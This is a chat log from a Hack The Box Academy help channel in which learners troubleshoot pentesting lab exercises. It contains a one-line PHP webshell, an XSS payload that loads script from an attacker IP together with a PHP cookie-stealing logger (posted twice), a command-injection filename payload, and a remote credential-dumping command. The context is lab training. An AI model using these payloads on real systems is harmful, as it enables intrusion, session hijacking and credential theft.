I am having an issue that I wanted to see if anyone else had and was able to fix. In the 'Upload Exploitation' section of 'File Upload Attacks' module one of the first things you are instructed to do is upload phpbash webshell into the provided web application (similar to the previous section). I am able to upload the smaller size files like the one line '<?php system($_REQUEST['cmd']); ?>' and successfully navigate to the location and use it as a shell. When I try (in my Kali VM or Windows main host) to upload the larger phpbash file it just hangs. Weirdest thing is if I use the pwnbox I have no such issue. Anyone have any idea why this might be happening, as I prefer to use my own VM if possible and it looks like I am going to need to be able to upload the larger files a few more times in the module?

[fathom pendant]

It should be $_GET not $_REQUEST

[fathom pendant]

Try changing mtu size to a bit lower and see if that fixes

[smoky pumice]

Funny I didn't notice it but that is verbatim what they have in this section but I used one from previous section that used GET. This one hasn't given me any issues.

[smoky pumice]

Ok let me give this a try thank you!

[jade latch]

is Exploiting Web Vulnerabilities in Thick-Client Applications in scope for the CPTS?

[smoky pumice]

No luck.

Another wrinkle, I just uploaded the phpbash.php to the web application via pwnbox and then was able to navigate to it no problem in my VM so there is an issue somewhere blocking the larger file uploads. The question is where and why?

[dim wolf]

anything taught in the course content should be considered in-scope for the exam

[smoky pumice]

I am not sure why but going around my safe DNS using VPN fixes the issue. Maybe it is something else about using my VPN that fixed it but I can't think of what else that would change. Oh well. Problem solved. Thank you @fathom pendant for your suggestion!

[shut wraith]

CROSS-SITE SCRIPTING (XSS) Module

Section: XSS Discovery

Question: Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server.

Firstly, why can't I test multiple parameters on xsstrike?

python3 xsstrike.py -u http://83.136.254.167:32540/?fullname=a%26username=a%26password=a%26email=aa%40aa.aa

Secondly, I have used all payloads for XSS that are available through XSStrike but I don't get a hit on the vulnerable email parameter.
python3 xsstrike.py -u http://83.136.254.167:32540/?email=aa%40aa.aa -f /usr/share/seclists/Discovery/Web-Content/xss
Is there something wrong with my command? Any info would be appreciated

[naive field]

dont use that bs in my opinion

do the xss manually :) especially if ur just learning

[shut wraith]

The point of this section is to use the automation tool that is demonstrated. I already did it manually successfully on the email parameter

[naive field]

https://github.com/s0md3v/XSStrike/wiki/Usage

[cloud urchin]

Looks like you didn't follow the instructions, my command is different and works

[shut wraith]

Can I DM u?

[cloud urchin]

ok

[ashen orbit]

Do you all connect to a VPN before connecting to HTB VPN?

[cloud urchin]

no

[ashen orbit]

I should say, should we?

[cloud urchin]

it's just going to add latency, i would only do it if you have stability issues

[ashen orbit]

Oh alright

[dim urchin]

Hi, when working through the modules in cpts, I am unable to access the cheatsheet which is provided at the beginning of each module, can anyone help me about that?

[dim urchin]

I got it. I am able to access it from another browser.

[fathom pendant]

It does test and check each param

[shut wraith]

Thanks I forgot to put quotes over the URL

[fathom pendant]

Ah

User error 🗿

[vapid thistle]

Regarding https://academy.hackthebox.com/module/77/section/843
I managed to run the exploit in the pwnbox but couldn't do it with my own PC (Latest parrot OS) with exactly the same parameters, is there any reason for that (such as IP filtering etc)?

[storm elk]

did you get any error? double. checkd the port?

I just checked on my vm and it seems to work, so just making sure you set the port right 🙂

[vapid thistle]

I literally copy pasted the line I used to be sure for the exploit, rhosts, rport and just ran. I searched a bit and some users mentioned that they ran into the same issue. I also had the VPN set if that matters in anyway. Thank you for checking on your side though 🙂

[storm elk]

This exercise is with a public IP, so I didn't connect to the vpn 🤔

have you tried respawning the target?

[vapid thistle]

I tried that first actually. Then I ran the xploit on my PC -> not working; moved to the pwnbox to check -> working; Tried again on my pc to be sure -> not working

Would it have anything to do with the msfconsole version used or script version itself?

[storm elk]

did you run msfconsole as root?

This didn't make a differrence for me, but still

[vapid thistle]

I tried that too using 'sudo' as it was one of the thing I found online too

[cloud urchin]

it works fine on your own box, so you probably missed something or didn't set it up right

the most common issue i see with that is picking the wrong exploit

[vapid thistle]

Here is a screenshot with the IP at the bottom and what I set. I also used the "show solution" explanations jsut to be sure

[storm elk]

That actually looks correct to me

[cloud urchin]

i didn't make notes for that module, but i thought it was one of the eternalblue exploits you had to use. i don't think you're using the right exploit.

i could be wrong though

[storm elk]

It’s the correct one, I just checked

[vapid thistle]

Note to add:

• I tried msfconsole from zsh with and without sudo
• I also tried from bash (thinking that zsh would get in the way) with and without sudo and obtain the exact same result

[cloud urchin]

oh ok, weird the section just talks about eternalblue only

yeah its not EB i guess

[storm elk]

Yeah. But when you spawn the target and visit the webpage it tells you which module it used

[cloud urchin]

ya i know. the hint shows its not eb

[vapid thistle]

Are the same version of msfconsole present in the pwnbox and Parrot 6.1 the same? At least the Major?

[storm elk]

What happens if you proxy it through burp? What’s the response of the server?

[storm elk]

I’m not sure about that

[vapid thistle]

Burpsuit CE?

[storm elk]

Yes

[vapid thistle]

I have just started Burp CE with proxy through the integrated chromium and do have access tot he website without any issue

[storm elk]

You can set msconsole to send it through burp

set PROXIES HTTP:127.0.0.1:8080

Then run your exploit again and you should see some input in burp

[vapid thistle]

I run it once like this. Then I set "intercept response from this request" for the second time and did not receive anything

[storm elk]

Try to disable intercept, then it will just do its thing

And you can view the request and response in the HTTP history tab

[vapid thistle]

I am located in Japan, would that be an issue when it comes to that timeout?

[storm elk]

That’s odd indeed. Might be worth asking support for help

You can contact them via the green box on Academy

[sterile solstice]

https://academy.hackthebox.com/achievement/1346583/51

That too way longer than I wanted .... lol

[vapid thistle]

Ok will do. Thank you very much for time and support! Really appreciated it!

[storm elk]

You’re welcome. I’m sorry I couldn’t be of any more assistance

[vapid thistle]

It's ok, you were very kind and did your best. I have just contacted the support and gave them a link to our chat. Thank you again for your time!

[shut wraith]

CROSS-SITE SCRIPTING (XSS) Module

Section: Session Hijacking
Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the 'Session Hijacking' scripts to grab the Admin's cookie and use it in 'login.php' to get the flag.

My command which works and a request is sent to my server:
"><script src=http://10.10.15.114:80/index3.php></script><script>$.getScript("http://10.10.15.114:80/index3.php")</script>

This is the php script for index3.php:

if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "10.149.248.249: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

I get a request message alert but the index3.php is not getting the cookie. Is there anything I'm doing wrong? Thanks

[fathom pendant]

Spoilers dude

[main acorn]

hy im getting this error in Using web proxies - Proxying tools
$ proxychains curl http://127.0.0.1:8080
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
error: invalid item in proxylist section: https 127.0.0.1 8080

I have also edited /etc/proxychains.conf

[fathom pendant]

You'll need to comment out the other proxychains options

Also http vs https type deal

invalid item https

[main acorn]

http 127.0.0.1 8080

https 127.0.0.1 8080
this is what i changed

[fathom pendant]

Don't add https line

[main acorn]

ok

proxychains] Strict chain ... 127.0.0.1:8080 ... timeout
curl: (7) Failed to connect to 127.0.0.1 port 8080 after 0 ms: Couldn't connect to server

now what to do

[wise vault]

Hi everyone

any hint for this

am stuck on web attacks module

section Bypassing Security Filters

[storm elk]

Okay so what exactly do you expect from us? It mentions in this section what to do, with the filename given in the question

[main acorn]

guys please help me

[storm elk]

are you running the tool that you're supposed to proxy with? ie. burp?

[main acorn]

bruh the proxychain curl isnt working im getting error

[autumn pilot]

From where to where are you proxying the traffic

[thorn hawk]

Helllo academians :D. I need some minor guidance regarding the last challenge of the File Inclusion module.

I have identify two entry points in the application to find a potential path traversal. I have been Fuzzing these parameters with Jhaddiz path traversal list but I can't seem to find one that can work. For me there is two reasons that this might happen:

1. or I haven't found all entry points in the applcication. But I doubt it because have fuzz all parts of the URL and couldn't find other entries
2. or the Jhaddiz list does not have a path traversal that can work..
   Any hint is welcome.

[wise vault]

POST /index.php HTTP/1.1
Host: 94.237.55.105:33586
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.55.105:33586/index.php
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

file=test%3Bcp+/flag.txt+./

[storm elk]

Feel free to dm me to prevent spiolers

[storm elk]

url encode it and you should be fine

[wise vault]

ok

[storm elk]

Just enter this filename in the browser via the get request, and then verb tamper

then check the files again

[main acorn]

bro im just a beginner . im totaly confused . Using web proxies - Proxying tools .
Try running 'auxiliary/scanner/http/http_put' in Metasploit on any website, while routing the traffic through Burp. Once you view the requests sent, what is the last line in the request?
this is the question . I have to use msfconsole . I just tried proxychain .
proxychains curl http://SERVER_IP:PORT
this server_ip: port should be replaced by the ip of web sites ?

even nmap proxy isnt working
nmap --proxies http://127.0.0.1:8080 SERVER_IP -pPORT -Pn -sC

plzz guide me

[storm elk]

Do you have Burpsuite Community Edition open?

[storm elk]

let me know if you were able to get the flag or need more help 🙂

[wise vault]

%74%65%73%74%25%33%42%63%70%2b%2f%66%6c%61%67%2e%74%78%74%2b%2e%2f like this

i used burp encoder

encoded this test%3Bcp+/flag.txt+./

[autumn pilot]

the section provides you with enough information to go through the exercise, you don't need proxychains

[storm elk]

I would try the following,

1. copy the filename from the question
2. open the File Manager page in the webbrowser
3. paste the filename in the New File Name text box, press enter
4. Send it to burp repeater
5. burp verb tamper (like mentioned on the page)
6. Send the request
7. refresh your browser

[main acorn]

alright . proxychains curl http://SERVER_IP:PORT
so this server_ip : port should be 127.0.0.1:8080 or the target ip

[snow geyser]

Any help here guys

[autumn pilot]

Carefully go over the question

Take a note of what it says

[wise vault]

i guess there is the issue in backed am not getting the request like in example. i can also modify the request but not accepting and showing only 200k with listing notes.txt

[storm elk]

Turn intercept off and press enter when submitting

Don’t press the button

[main acorn]

[-] 127.0.0.1: Error: Transport endpoint is not connected - getpeername(2)
[-] 127.0.0.1: File doesn't seem to exist. The upload probably failed
[] Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed

[wise vault]

i tried every method from last 3 hours but i was just clicking on reset button but it was all about pressing enter

thanks a lot mate. nice to see you 🙂

[solemn ravine]

I am in the Intro to c2 operations with sliver module and was wondering if anyone can explain to me why does the getsystem command not work

[storm elk]

Glad I could help

[wise vault]

check systeminfo

[wise vault]

god bless you❤️

am just 5 modules away

[storm elk]

I’ll be back in a bit. Need to run to the store real quick

[solemn ravine]

Sorry, I still dont get it. I also had another question- when I used execute-assembly with godpotato here it failed to create process. But when I used donut to create shellcode and used execute-shellcode it successfully worked. Why did it fail with execute-assembly?

[mint peak]

Regarding the optional exercise at the end of the Documentation and Reporting module, where we can submit a draft report for constructive feedback, is that still an offered service by the HTB team? I know they've probably lots of actual exam reports to work through, wouldn't want to add more to their plate

[next bronze]

dude don't ping mods here, just wait for support

pinging mods here won't speed it up

wait for support then

[languid fjord]

Support is the best way to get this resolved

They should be around now

Let me send them a message and see whats up

[mint peak]

Patience is a virtue 😇

Frustrating for sure, but lends a good opportunity to try something else or learn something new while waiting. Never a bad thing to expand your knowledge 🙂

[analog dock]

Skipping it till you receive support is impossible?

[mint peak]

😐

[languid fjord]

We cant find any tickets from yesterday, last we see was a week ago.

However we do have the recently opened ticket and we'll respond to it shortly.

Are you able to send a screenshot of the ticket you had opened, so we can figure out where it went?

[west rampart]

Sorry to hear that but please dopn't oing pings as they usually don't work at HTB

except me and some others

Also, we try our best but can't cover 24hours sadly so please be patient and we can resolve your issue

Best is to DM me the screenshot

[sterile solstice]

anyone having trouble spawning targets?

[storm elk]

not at this moment

[sterile solstice]

hmmmm

[storm elk]

might just be taking a while if it is a big lab?

[sterile solstice]

its just the beginning fo the Windows Privesc labs

worked pretty well a few hours ago. ill prob just try a different vpn in a minute

[kindred loom]

I have trouble spawning target

I'm on enterprise academy and just opened a new session

[celest atlas]

i have trouble in spawning target

[sterile solstice]

well that sucks, but we're suffering together

yahtzee! i'm in

[kindred loom]

/genesis API call is showing deploying, and after a few calls (I would say its lasting time is shorter than before), it returns 204 without any target IP

I tried multiple time, but it still does NOT work.

[fading oracle]

sent

[sterile solstice]

hopefully it comes through soon

[mint peak]

No issue spawning machines here. Just spawned a new one

[sterile solstice]

yea mine just fixed itself and is working now

[primal silo]

it worked that way with windows client

[late estuary]

hey guys ! i’m working on RE private API and i’m stuck in reproducing a protobuf encryption somebody already experienced this ?

[rustic sage]

Anyone know the term "phishing"

[sterile solstice]

yea most of us are familar with it ....

[rustic sage]

What about osint tools?

[rustic sage]

Does anyone teach this

[sterile solstice]

there is an OSINT course, but its 1 of the more advanced modules

and there is some OSINT on the Information Gathering module as well

[rustic sage]

Where?

[sterile solstice]

but i dont believe HTB teaches Maltego or OSINTFRAMEWORK

https://academy.hackthebox.com/module/details/144

[rustic sage]

Thanks @sterile solstice

[sterile solstice]

https://academy.hackthebox.com/module/details/28

[celest atlas]

I could not spawn the target does anyone face it?

[sterile solstice]

no problem. I'm looking forward to when I do the OSINT: Corporate Recon module, but its at the highest tier. i can't speak to its contents right now.

[celest atlas]

It's being spawning for half an hour but still not spawned

[sterile solstice]

my session keeps dropping. it wasn't working for me before

[graceful mortar]

[kindred loom]

I was just facing it several minutes before. Now I fixed it myself.

Please clean all your browser caches and COOKIES.

then relogin, now it works

[sterile solstice]

far out. i absolutely dread going back to a windows based module. it wont stop dropping. its infuriating.

getting flashbacks to the pivoting module, and pasword attack modules all over again lol

[south bison]

did it finally work? If it spins more than a minute, try refreshing the page.. if it still spins, try changing VPN. Changing VPN forces all spawned/stuck machines to get killed so you can spawn a clean one on the new VPN.

..and yes VPNs are having an impact.. all VMs you spawn, are assigned on the VPN you have selected in /vpn

[sterile solstice]

so far EU5 has treated me well ... but I hope you get an Australian VPN in the future.

[spare fossil]

module web attacks, Mass IDOR Enumaration.... can someone see what i'm doing wrong here? nothing is returned

[storm elk]

Remove your grep

[uneven dune]

||guys i wanna mention something maybe can be help in the future or maybe i am unerstanding wrong, but in some sections like this one : https://academy.hackthebox.com/module/81/section/962 , says i need to connect to the live host to capture, i understand i need to connect to the target that is generated from the academy, but the the answers are not there, so sometimes is difficult to me understand if i need to go directly to the target or analyse the PCAP, now i solved but is a little bit confuse some times||

[spare fossil]

alright, let me try

[storm elk]

Most likely your grep is removing all the input as it’s not matching

[mint peak]

Is there a place to submit minor typo corrections on modules? Maybe in #1234357888114364508 ? Just have been running very minor grammatical things here and there, nothing module breaking

[spare fossil]

not sure, what to do, i'm litteraly copy paste from the course, i double checked that it is grep the riight expression .. is it not right ?

[fathom pendant]

Sorry I sent a shark to eat the cables

[storm elk]

Which kind?

[fathom pendant]

Underwater

Duh

[sterile solstice]

im guessing theres a pun about wireshark in there haha

[storm elk]

And underwater shark? 😮

[fathom pendant]

Idk probably, woke up sicker than a dog so brain isn't firing on all cylinders

[storm elk]

I’ll check in a few min. Bare with me

[spare fossil]

Appreciate it, thank you

[sterile solstice]

ah, damn. yea that sucks lol

[storm elk]

I am gonna look now, sorry was having lunch real quick

[spare fossil]

no worries

[simple loom]

Hii! You need to find the proper artifacts that may register information related to what you're looking

[storm elk]

Okay so in the examples on the page, the target is working via a GET request. For the exercise, and the spawned target, this is not the case. So in this case, the curl command would indeed not work. You can either do it via Burpsuite or alter the bash script

[simple loom]

For example, in the case of the document, try to find an artifact that may be related to documents. Fell free to DM if you need further assistance 😄

[zenith vale]

is there a place i can find SOAPAction payloads ?

besides whats given in the module?

[rustic sage]

did anyone solve the attacking thick client application reverse engineering i am unable to find the specified file

the reverse engineering restart-oracleservice.exe

[next bronze]

that is based on another retired box, I don't remember the name but you can search around

[rustic sage]

did but could not get any stuff

[analog dock]

I already told you to watch fatty

[rustic sage]

in fatty he explained and i was able to replicate the steps

but that is for the second question i guess the one for finding the eth0 ip

[next bronze]

they're talking about a different section

[rustic sage]

but i am talking about the first question where we have to reverse engineer the restart-oracleservice.exe

[analog dock]

Fatty was thick client right

[rustic sage]

and find the hardcoded credentials

[rustic sage]

yes for logging into that java with vulnerable sql code

[next bronze]

ah the box is PivotAPi

[next bronze]

it's Exploiting Web Vulnerabilities in Thick-Client Applications

the previous section is just Attacking Thick Client Applications

[analog dock]

Smfh

Whoever made the names too similar

[rustic sage]

can you come ib once

[slate halo]

hello, im doing the Reflected XSS and the flag i have found is saying that its incorrect. Is there anyone who can confirm if my flag is correct?

[next bronze]

what

[rustic sage]

dm

[next bronze]

sorry I don't provide module help in dms, and I don't remember much for that section

check the pivotapi box walkthroughs

[slate halo]

can anyone check if my flag is wrong? "stored for everyone..."

[next bronze]

the flag is the sthandard flag format, HTB{...}

[slate halo]

yup

HTB{570r3d} this is how it begins

[next bronze]

nope wrong section

[slate halo]

oh, yeah, thanks

[rare swan]

Module: AD Skill Assessment part 1
Dump LSA & SAM remotely with proxychains doesnt work!? - only locally - any suggestions?

[next bronze]

it does tho

[rare swan]

If executed nothing happens

have set up chisel on linux and windows machine - seems to work

[next bronze]

something is wrong with the pivot or command then, how are you running it

[rare swan]

rdp works over proxychains - proxychains python3 secretsdump.py inlanefreight/svc_sql:"......."@172....
`

[next bronze]

and what's the output? also why run secretsdump.py with python3? what's wrong with a pip/pipx install

[tardy edge]

Hello, where can I ask a question to get advice in the learning process?

[wary plover]

If this question is related to the academy module, you can ask it here

[acoustic owl]

What would you like to know?

[vapid mountain]

can someone please help me cuz i cant find this file usr/share/dirb/wordlists/common.txt for the web eumeration chapter in getting started

[shut wraith]

CROSS-SITE SCRIPTING (XSS) Module

Section: Session Hijacking
Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the 'Session Hijacking' scripts to grab the Admin's cookie and use it in 'login.php' to get the flag.

My command which works and a request is sent to my server:
"><script src=http://10.10.15.114:80/index3.php></script><script>$.getScript("http://10.10.15.114:80/index3.php")</script>

This is the php script for index3.php:

if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "10.149.248.249: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

I get a request message alert but the index3.php is not getting the cookie. Is there anything I'm doing wrong?

Thanks

[untold pecan]

<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as /Viggers $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "10.149.248.249: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>

[rustic sage]

hey everyone any suggestions for citrix breakout unable to do the admin part

[shut wraith]

This is what I used and what the module gave me

[acoustic owl]

https://github.com/v0re/dirb/blob/master/wordlists/common.txt

[tardy edge]

The fact is that at the moment I am studying the path of Information Security Foundations. Next, I plan to explore the SOC Analyst path. In the process of studying the path Information Security Foundations, in the context I saw the text "which we can learn more about in the Penetration Testing Process module" The question is whether it is worth studying the "Penetration Testing Process" module at the same time? Additional information: I am a former trainee penetration tester, I have basic knowledge of penetration testing.

[rare swan]

pipx good hint - machine was broke

[rustic sage]

@next bronze any suggestions for citrix breakout windows escalation

[acoustic badge]

.

[vapid mountain]

yeah, i just looked for another common.txt somewhere else and used that

[next bronze]

try the stuff in the section, run the enum tools once you get user

[lucid python]

hello i was learning a Automating Payloads & Delivery with Metasploit on HTB. And then i got this problem. that i can't get the shell but i can ping the victim

[orchid pine]

hello everyone it it normale not getting any postive req on Broken Authentication Brute-Forcing Password Reset Tokens

[acoustic owl]

If you are familiar with the pentesting process, this module is not absolutely necessary for the SOC path.

[lucid python]

i cant send the picture

[tardy edge]

Thanks, for the answer! +rep

[next bronze]

verify your account, read#welcome

[acoustic owl]

But take a look at the SOC Analyst Prerequisites Path

https://academy.hackthebox.com/path/preview/soc-analyst-prerequisites

[tardy edge]

Sure, after finishing the Information Security Foundations, I'll switch to this.

[orchid pine]

🙃 if someone can help with this plz

[next bronze]

your lhost is incorrect, it should be your vpn ip

[lucid python]

how do i get the vpn ip sorry, im very new to this

[next bronze]

ip a

[storm elk]

or set lhost tun0

[acoustic owl]

What does your list of tokens.txt contain?

[orchid pine]

0 to 999999

Cuz when i ask for the token i cant get a sample for how the token is generated so i assumed that the token is 6 digits

[acoustic owl]

But if you can't find anything with it, what options do you have?

[orchid pine]

We have the question befor that says the token is 6 digits

[acoustic owl]

The previous question asks how many possibilities there are with a token with 6 numbers, right?

[orchid pine]

Yes

So i generated a wordlist based on that

[acoustic owl]

Think about what that means for traffic.

Can a server process so many requests within a short time?

[orchid pine]

restaring the kali worked

XDD

[cedar rivet]

hello guys, I am having problem while setting up odat for oracle tns enumeration can someone help me through vc?

[naive sage]

[solid pewter]

I have a question. I am working towards the CPTS cert. I finished the Fundamental sections and moving on to the Network Enum with Nnap. From this point to the end. How many cubes are needed to finish the PT path? Thanks. I am asking to know how many to buy.

[naive sage]

The CPTS Path?
I would rec. buying a student sub which is 8$/m and it's cheaper then cubes.

[rustic sage]

anyone having any hints for documenting and reporting section. Really weak in this part

[solid pewter]

Yea the CPTS path. OK ill check that out, thanks so much

[naive sage]

Yea, the CPTS path is 1960 cubes. Np, get the student one and you good to go.

[solid pewter]

I dont think I can get it

its grayed out for me

[acoustic owl]

Try it with the PwnBox. I have just tried it out. It works perfectly

[cedar rivet]

okay, I'll try!

[acoustic owl]

https://help.hackthebox.com/en/articles/7973133-getting-the-student-subscription

[cedar rivet]

It worked, thnx mate 🙂

[minor dome]

thank you

[naive field]

can someone help me with skill assesment in intro to threath hunting and hunting with elastic

when i try to search in elastic
file.path:"C:\\*"

or anything with * regex wont work for some reason

should it work 😢 im stuck as hell on this today

maybe im doing the wrong thing completely..

[river grove]

Advanced xss and csrf exploitation - cors misconfiguration

Somehow my cookie is not being sent with the request. Im logged into vulnerablesite.htb in another tab and can see my cookie there.

Sorry for photo but I dont have discord on my laptop

[wraith pelican]

Your question is about Hunt 1 ?

[naive field]

yess

[wraith pelican]

they say: Create a KQL query to hunt for "Lateral Tool Transfer" to C:\Users\Public.

so have a look there : )

[naive field]

yeah

but the file.path thingy is not working for me :( im trynna look for that pth like that lol

[wraith pelican]

i just query C:\Users\Public without anything else, if i remember correctly

[naive field]

yup!

[wraith pelican]

i guess file.path is not where that info was logged. you can try process.working.directory

[native turtle]

sorry guys where can I find the pro lab dante discord chat?

[acoustic owl]

#1263635449335910531

[native turtle]

its saya no access

[acoustic owl]

Read and follow #welcome

[native turtle]

thanks

[next bronze]

<@&861185840277487616> bros spamming in every channel

[ionic jasper]

hi im new here and could use some help getting started

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[lunar trout]

Hey Myk4my. I am also trying to understand this.
Did you figure out a way to bypass the \ filtering?

[wicked apex]

Module: Password Attacks
Section: Network Services
Currently stuck at accessing the nfs
I mounted the remote nfs as root with
````mount -t nfs 10.129.21.226:/JNFS /mnt/nfs -o nolock```

└─/mnt/nfs                                              10.129.21.226:/JNFS nfs             rw,relatime,vers=3,rsize=32768,wsize=32768,namlen=255,hard,nolock,proto=tcp,timeo=600,retrans=2,sec=sys,mountaddr=10.129.21.226,mountvers=3,mountport=2049,mountproto=udp,local_lock=all,addr=10.129.21.226

But when I try to access the share:

└──╼ #cd /mnt/nfs
bash: cd: /mnt/nfs: Permission denied

I obtained the root in pwnbox via sudo su, I also tried sudo bash and even su - and su root and ever had I able to access anything from JNFS

can someone point out some stupid mistakes I made here ._.
Thank you for your time.

[sterile gust]

Hi, all. I'm sorry to bother, but I'm banging my head against a wall with the **Attacking Common Applications- Attacking Thick Client Applications **exercise. On the first step in the material, changing permissions for the Temp folder of the user I RDP in as, I get error messages saying the operation "failed to enumerate objects in the container", and the .bat file never shows up. If anyone had a moment, I'd greatly appreciate a little nudge regarding what I'm missing!

[rustic sage]

anyone can give some suggestions for documenting and reporting. I am unable to accomplish the given task

[naive field]

Hunt 2: Create a KQL query to hunt for "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder". Enter the content of the registry.value field in the document that is related to the first registry-based persistence action as your answer.

i found using event id 13 two hits

but none of their registry.values are good (the values are the same)

[zenith vale]

can someone explain something to me

why was the sqli in the api attack section worked "it needed 'OR 1=1' OR 1 statement, why did that drop the table i dont get it

[rustic sage]

can you approach in dm once please, thanks

anyone who has done the documenting and reporting htb module, kindly just tag me please

[naive field]

i got it, just dont get this questino at all. if anyone could help me a lil and explain ill be thankful :)

[minor dome]

Anyone that can help wiht info gathering -web edition - Vhosts please dm me. I have a ss i cant share and cant figure why the host isnt able to validate the base domain

[naive field]

im stuck on the third one with powershell
what is the field that shows DC1.. at the top right corner? 👀

okay i got it nvm

[digital junco]

yes

[rare swan]

Module: AD skills assessment 1
Connect to DC01 --> last question, any hint how to connect to dc01 or which tool to use?

Setup chisel on linux and windows --> dc01 scanned for open ports --> only smb is open...

[next bronze]

there will be other ports open, like kerberos and ldap will need to be running for the domain to even function properly

[rare swan]

thought maybe running mimikatz on ms01 --> doesnt work...

do i have to pth from ms01 maybe?

[next bronze]

you can just use remote tools

[normal sand]

I've been working on the Web Proxies module and I haven't been able to use the ZAP HUD properly even once via Pwnbox. Is anyone else facing this issue? For example, if I click to Start Spidering, it won't work. Even toggling interception won't work.

[wraith pelican]

same here, never managed to make it work, i didnt try very long though

[normal sand]

I did the Active Scan through the main UI and it completed. The module said I could view the results under the Alerts tab? However, this tab just shows a list of alerts, how can I properly view alerts just for my target by severity?

It shows me alerts like this. Some of these alerts could belong to other sites as well, but I just wanna see it for my target by severity.

[normal sand]

Ahh, I see. Any idea how to view the alerts by severity for just the target site?

[zenith vale]

bro, i get the answer, answer isnt valid

i removed it to avoid spoiling people

but i am doing the api attack module , and in the file upload section , the question is to get the hostname

i got the hostname copy and paste it but it says its wrong

bro

there was a space 😐

[minor dome]

Do i need discord nitro to put pictures in this chat?

[zenith vale]

it all was cause of a space in the answer i didnt notice

[naive sage]

skill-issues

[wraith pelican]

the color of the flags is related to the severity. iirc the red flags go on top automatically.
As for just the target site, i'd say you have to set the scope, or context (? in zap vocabulary?)

[zenith vale]

lack of braincells issue

[normal sand]

Yeah, but doesn't the Alerts tab show the results for all sites in the scope? Any way to view it just for one target in the scope?

The section I'm on "ZAP Scanner", the question says that I should find a high-level vulnerability but the scan didn't find one. Could you give me a nudge in the right direction?

[acoustic owl]

No, read and follow #welcome

[lunar trout]

Can you please share a hint?

[wraith pelican]

i guess i had set the scope before scanning, so i don't know how to sort those results. Can't try om zap at the moment.
for you other question, if i remember correctly, you have to spider then scan. it really follows the course material

[minor dome]

Thank you

[lucid python]

iam stuck configuring proxy to 127.0.0.1 for burp. On automate shell module. Can anyone help?

here is the burp settings

[normal sand]

Not sure what the issue was, but adding to context and running it a third time worked.

I thought I'd already had it added to scope/context, must've been mistaken.

[wraith pelican]

yeah i remember not having the same results as the course material, but then after retrying i guess i had it as well

[lucid python]

Everytime i change the proxy, it will appear as secure connection failed

[normal sand]

Can you show me the "secure connection failed" that you're getting?

[lucid python]

this one

[normal sand]

Install the certificate for Burp.

[lucid python]

Thank you so much, it works now

[wraith pelican]

and the firefox extension foxyproxy makes managing proxies easier

yeah that's strange. i just spun up the exercise and it seems the spidering get the vulnerable endpoint directl;y. Not sure why it does not work on the first active scan.

[normal sand]

You got the vulnerable endpoint without Ajax spidering?

[wraith pelican]

yes

[normal sand]

Strange indeed

[wanton jasper]

last question of Skills Assessment - Web Fuzzing:
Try fuzzing the parameters you identified for working values. One of them should return a flag. What is the content of the flag?

Pretty sure I can get it if I could get some help on what wordlist to use.

[wraith pelican]

isn't that the whole crux of web fuzzing?

where are you in your reflection?

[wanton jasper]

found the flag, just had to use a bigger list

[wraith pelican]

nice gg

[minor dome]

I added this IP through 'sudo nano' and still can't find the web prifixed domain. Any suggestions

[steady dust]

you are doing it wrong

add the ip to /etc/hosts like this 10.10.10.10 inlanefreight.htb

[teal stirrup]

For the creators of the intro to C2 sliver tier three module. I really enjoy it.
Is there anyway I can contribute additional information to the sliver module?

[minor dome]

I did.

[steady dust]

what is the module?

[minor dome]

Information Gathering - Web Edition (Virtual Hosts)

[wraith pelican]

if you use --append-domain and use an IP, then you have to specify the domain --domain <domain-name>

[steady dust]

maybe you can try gobuster vhost -u http://inlanefreight.htb ?

[minor dome]

where would I add that?

[minor dome]

Ok ill try this too thank you

[wraith pelican]

in your command
--append-domain --domain inlanefreight.htb

[steady dust]

try the command given as an example in the module

[steady dust]

don't forget the port

[minor dome]

This gave me more so far so thank you. Its still loading tho

[minor dome]

This worked. Thank you!

[wraith pelican]

nice, glad for you
both solutions are usable. Either you use an ip:port --append-domain --domain
or the domain:port --append-domain and the ip in /etc/hosts
by the way on your previous picture you got 2 IPs in your /etc/hosts pointing to the same domain, so it will use the 1st I think

[fathom pendant]

Nah, it attempts one then the other

[river grove]

Anyone here who did the advanced xss and csrf module and want to help a sister out? I'm pretty sure its a very small detail I missed

[storm elk]

What exactly do you need help with. Big module

[fathom pendant]

It helps if you just ask your question and include the section lol

[river grove]

I did that already and got 0 replies lol

[storm elk]

Try again

[fathom pendant]

Don't see your question here

At leat not up to 6 hours ago

That's as far back as I felt like scrolling

[wraith pelican]

thank you for that precision. I get it with resolving a domain name, but how will this work with gobuster? will it error? is it good to let both IP? what if that come from another exercise?

[steady dust]

it will try first, if it is not responding, it will go to the next one

[fathom pendant]

I mean it will likely produce an error before trying the next one

It's like assigning a backup server

[storm elk]

Have you tried without the port?

[fathom pendant]

Https moment

[fathom pendant]

Nah she's using https instead of http

[storm elk]

This lab requires https

[fathom pendant]

Does it?

[storm elk]

Yes

[fathom pendant]

Weird

That definitely won't confuse me

[storm elk]

It’s because of the secure cookie attribute that is being used here

[river grove]

Im doing the cors misconfiguration section.

